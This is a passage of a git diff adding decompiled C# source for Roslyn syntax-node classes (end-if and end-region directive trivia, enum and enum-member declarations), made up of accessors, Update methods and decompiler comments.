override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEndIfDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEndIfDirectiveTrivia(this); + } + + public EndIfDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || endIfKeyword != EndIfKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + EndIfDirectiveTriviaSyntax endIfDirectiveTriviaSyntax = SyntaxFactory.EndIfDirectiveTrivia(hashToken, endIfKeyword, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return endIfDirectiveTriviaSyntax; + } + return endIfDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new EndIfDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, EndIfKeyword, EndOfDirectiveToken, IsActive); + } + + public EndIfDirectiveTriviaSyntax WithEndIfKeyword(SyntaxToken endIfKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, endIfKeyword, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new EndIfDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, EndIfKeyword, endOfDirectiveToken, IsActive); + } + + public EndIfDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, EndIfKeyword, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EndRegionDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EndRegionDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..6f7edee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EndRegionDirectiveTriviaSyntax.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EndRegionDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndRegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken EndRegionKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndRegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endRegionKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndRegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EndRegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal EndRegionDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEndRegionDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEndRegionDirectiveTrivia(this); + } + + public EndRegionDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || endRegionKeyword != EndRegionKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + EndRegionDirectiveTriviaSyntax endRegionDirectiveTriviaSyntax = SyntaxFactory.EndRegionDirectiveTrivia(hashToken, endRegionKeyword, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return endRegionDirectiveTriviaSyntax; + } + return endRegionDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new EndRegionDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, EndRegionKeyword, EndOfDirectiveToken, IsActive); + } + + public EndRegionDirectiveTriviaSyntax WithEndRegionKeyword(SyntaxToken endRegionKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, endRegionKeyword, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new EndRegionDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, EndRegionKeyword, endOfDirectiveToken, IsActive); + } + + public EndRegionDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, EndRegionKeyword, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EnumDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EnumDeclarationSyntax.cs new file mode 100644 index 0000000..f0efef5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EnumDeclarationSyntax.cs @@ -0,0 +1,386 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EnumDeclarationSyntax : BaseTypeDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private BaseListSyntax? baseList; + + private SyntaxNode? members; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken EnumKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EnumDeclarationSyntax)(object)((SyntaxNode)this).Green).enumKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EnumDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override BaseListSyntax? BaseList => ((SyntaxNode)this).GetRed(ref baseList, 4); + + public override SyntaxToken OpenBraceToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EnumDeclarationSyntax)(object)((SyntaxNode)this).Green).openBraceToken; + if (openBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)openBraceToken, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + } + } + + public SeparatedSyntaxList Members + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref members, 6); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(6)); + } + } + + public override SyntaxToken CloseBraceToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken closeBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EnumDeclarationSyntax)(object)((SyntaxNode)this).Green).closeBraceToken; + if (closeBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)closeBraceToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + } + } + + public override SyntaxToken SemicolonToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EnumDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + } + } + + internal EnumDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref baseList, 4), + 6 => ((SyntaxNode)this).GetRed(ref members, 6), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => baseList, + 6 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEnumDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEnumDeclaration(this); + } + + public EnumDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, BaseListSyntax? baseList, SyntaxToken openBraceToken, SeparatedSyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || enumKeyword != EnumKeyword || identifier != Identifier || baseList != BaseList || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + EnumDeclarationSyntax enumDeclarationSyntax = SyntaxFactory.EnumDeclaration(attributeLists, modifiers, enumKeyword, identifier, baseList, openBraceToken, members, closeBraceToken, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return enumDeclarationSyntax; + } + return enumDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new EnumDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, EnumKeyword, Identifier, BaseList, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new EnumDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, EnumKeyword, Identifier, BaseList, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + public EnumDeclarationSyntax WithEnumKeyword(SyntaxToken enumKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, enumKeyword, Identifier, BaseList, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithIdentifierCore(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifier(identifier); + } + + public new EnumDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EnumKeyword, identifier, BaseList, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithBaseListCore(BaseListSyntax? baseList) + { + return WithBaseList(baseList); + } + + public new EnumDeclarationSyntax WithBaseList(BaseListSyntax? baseList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EnumKeyword, Identifier, baseList, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithOpenBraceTokenCore(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenBraceToken(openBraceToken); + } + + public new EnumDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EnumKeyword, Identifier, BaseList, openBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + public EnumDeclarationSyntax WithMembers(SeparatedSyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EnumKeyword, Identifier, BaseList, OpenBraceToken, members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithCloseBraceTokenCore(SyntaxToken closeBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseBraceToken(closeBraceToken); + } + + public new EnumDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EnumKeyword, Identifier, BaseList, OpenBraceToken, Members, closeBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new EnumDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EnumKeyword, Identifier, BaseList, OpenBraceToken, Members, CloseBraceToken, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new EnumDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new EnumDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseTypeDeclarationSyntax AddBaseListTypesCore(params BaseTypeSyntax[] items) + { + return AddBaseListTypes(items); + } + + public new EnumDeclarationSyntax AddBaseListTypes(params BaseTypeSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BaseListSyntax baseListSyntax = BaseList ?? SyntaxFactory.BaseList(); + return WithBaseList(baseListSyntax.WithTypes(baseListSyntax.Types.AddRange((IEnumerable)items))); + } + + public EnumDeclarationSyntax AddMembers(params EnumMemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EnumMemberDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EnumMemberDeclarationSyntax.cs new file mode 100644 index 0000000..472415c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EnumMemberDeclarationSyntax.cs @@ -0,0 +1,171 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EnumMemberDeclarationSyntax : MemberDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private EqualsValueClauseSyntax? equalsValue; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EnumMemberDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public EqualsValueClauseSyntax? EqualsValue => ((SyntaxNode)this).GetRed(ref equalsValue, 3); + + public EnumMemberDeclarationSyntax Update(SyntaxList attributeLists, SyntaxToken identifier, EqualsValueClauseSyntax equalsValue) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, identifier, equalsValue); + } + + internal EnumMemberDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref equalsValue, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => equalsValue, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEnumMemberDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEnumMemberDeclaration(this); + } + + public EnumMemberDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, EqualsValueClauseSyntax? equalsValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || identifier != Identifier || equalsValue != EqualsValue) + { + EnumMemberDeclarationSyntax enumMemberDeclarationSyntax = SyntaxFactory.EnumMemberDeclaration(attributeLists, modifiers, identifier, equalsValue); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return enumMemberDeclarationSyntax; + } + return enumMemberDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: 